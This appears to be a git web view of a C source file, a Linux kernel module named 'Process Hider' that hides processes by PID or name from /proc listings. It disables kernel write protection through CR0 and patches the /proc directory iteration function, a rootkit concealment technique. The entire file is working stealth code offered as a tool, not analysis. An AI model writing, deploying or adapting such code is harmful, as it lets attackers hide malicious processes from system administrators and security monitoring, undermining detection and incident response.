aboutsummaryrefslogtreecommitdiffstats
path: root/proc_hider.c
blob: 6c2d9cf03db91032a55e428d0018813c5e23685a (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <linux/sched/signal.h>
#include <linux/proc_fs.h>
#include <linux/seq_file.h>
#include <linux/fs.h>
#include <linux/version.h>
#include <linux/cred.h>
#include <linux/namei.h>
#include <linux/uaccess.h>
#include <linux/string.h>
#include <linux/dirent.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("Biswa Kalyan Bhuyan");
MODULE_DESCRIPTION("Process Hider - Hides processes from listings");
MODULE_VERSION("0.1");

/* Module parameters */
static unsigned int hide_pid = 0;
module_param(hide_pid, uint, 0644);
MODULE_PARM_DESC(hide_pid, "Specific PID to hide");

static char* hide_process = NULL;
module_param(hide_process, charp, 0644);
MODULE_PARM_DESC(hide_process, "Process name to hide");

/* Hook-related variables */
static struct file_operations *proc_fops;
static filldir_t orig_proc_filldir;
static int (*orig_iterate_shared)(struct file *, struct dir_context *);
static struct path proc_path;

/* Function to find process by PID */
static struct task_struct *find_process_by_pid(unsigned int pid)
{
    struct task_struct *task;
    
    for_each_process(task) {
        if (task->pid == pid)
            return task;
    }
    return NULL;
}

/* Should we hide this process? */
static int should_hide_proc(const char *name)
{
    struct task_struct *task;
    long pid;
    
    // First check if it's a PID directory
    if (kstrtol(name, 10, &pid) == 0) {
        // It's a numeric directory, so it could be a PID
        task = find_process_by_pid((unsigned int)pid);
        if (task) {
            // Check if this is our target PID
            if (hide_pid > 0 && task->pid == hide_pid) {
                return 1;  // Hide the specified PID
            }
            
            // Check if process name matches hide_process
            if (hide_process && strlen(hide_process) > 0 && 
                strncmp(task->comm, hide_process, TASK_COMM_LEN) == 0) {
                return 1;  // Hide processes with matching name
            }
        }
    }
    
    return 0; // Don't hide this one
}

/* Custom filldir function to filter directory entries */
static int proc_filldir(struct dir_context *ctx, const char *name, int namlen,
                         loff_t offset, u64 ino, unsigned int d_type)
{
    // Check if we should hide this entry
    if (should_hide_proc(name)) {
        printk(KERN_INFO "ProcHider: Hiding process entry: %s\n", name);
        return 0; // Skip this entry
    }
    
    // Otherwise, call the original filldir
    return orig_proc_filldir(ctx, name, namlen, offset, ino, d_type);
}

/* Custom iterate_shared function to hook directory listing */
static int proc_iterate_shared(struct file *file, struct dir_context *ctx)
{
    // Replace the filldir function with our custom one
    orig_proc_filldir = ctx->actor;
    // Cast to ensure it's the same type
    ctx->actor = (filldir_t)proc_filldir;
    
    // Call the original iterate_shared with our modified context
    return orig_iterate_shared(file, ctx);
}

/* Function to set up hooking of /proc directory */
static void hook_proc(void)
{
    // Get the path to /proc
    if (kern_path("/proc", 0, &proc_path)) {
        printk(KERN_ERR "ProcHider: Failed to get /proc path\n");
        return;
    }
    
    // Get the file operations for /proc
    proc_fops = (struct file_operations *)proc_path.dentry->d_inode->i_fop;
    
    // Save the original iterate_shared function
    orig_iterate_shared = proc_fops->iterate_shared;
    
    // Replace with our custom function
    write_cr0(read_cr0() & ~0x10000); // Disable write protection
    proc_fops->iterate_shared = proc_iterate_shared;
    write_cr0(read_cr0() | 0x10000);  // Enable write protection
    
    printk(KERN_INFO "ProcHider: Successfully hooked /proc directory operations\n");
}

/* Function to unhook /proc directory */
static void unhook_proc(void)
{
    // Restore the original iterate_shared function
    if (proc_fops && orig_iterate_shared) {
        write_cr0(read_cr0() & ~0x10000); // Disable write protection
        proc_fops->iterate_shared = orig_iterate_shared;
        write_cr0(read_cr0() | 0x10000);  // Enable write protection
        
        printk(KERN_INFO "ProcHider: Restored original /proc directory operations\n");
    }
    
    // Release the path
    path_put(&proc_path);
}

static int __init proc_hider_init(void)
{
    printk(KERN_INFO "ProcHider: Module loaded\n");
    
    // Check if we have parameters to work with
    if (hide_pid == 0 && (hide_process == NULL || strlen(hide_process) == 0)) {
        printk(KERN_INFO "ProcHider: No hiding parameters specified.\n");
        printk(KERN_INFO "ProcHider: Use 'hide_pid' or 'hide_process' parameters\n");
        return 0;
    }
    
    // If hiding by PID, check if the PID exists
    if (hide_pid > 0) {
        struct task_struct *task = find_process_by_pid(hide_pid);
        if (task) {
            printk(KERN_INFO "ProcHider: Will hide PID %u (%s)\n", 
                   task->pid, task->comm);
        } else {
            printk(KERN_INFO "ProcHider: Target PID %u not found\n", hide_pid);
            // Continue anyway in case the process appears later
        }
    }
    
    // If hiding by process name, report how many matching processes exist
    if (hide_process && strlen(hide_process) > 0) {
        struct task_struct *task;
        int count = 0;
        
        printk(KERN_INFO "ProcHider: Will hide processes named '%s'\n", hide_process);
        
        for_each_process(task) {
            if (strncmp(task->comm, hide_process, TASK_COMM_LEN) == 0) {
                printk(KERN_INFO "ProcHider: Will hide matching process: PID %d\n", task->pid);
                count++;
            }
        }
        
        printk(KERN_INFO "ProcHider: Found %d processes named '%s' to hide\n", 
               count, hide_process);
    }
    
    // Set up the hook
    hook_proc();
    
    printk(KERN_INFO "ProcHider: Process hiding activated\n");
    return 0;
}

static void __exit proc_hider_exit(void)
{
    printk(KERN_INFO "ProcHider: Module unloading\n");
    
    // Unhook everything
    unhook_proc();
    
    if (hide_pid > 0) {
        printk(KERN_INFO "ProcHider: No longer hiding PID %u\n", hide_pid);
    }
    
    if (hide_process && strlen(hide_process) > 0) {
        printk(KERN_INFO "ProcHider: No longer hiding '%s' processes\n", hide_process);
    }
    
    printk(KERN_INFO "ProcHider: Module unloaded\n");
}

module_init(proc_hider_init);
module_exit(proc_hider_exit);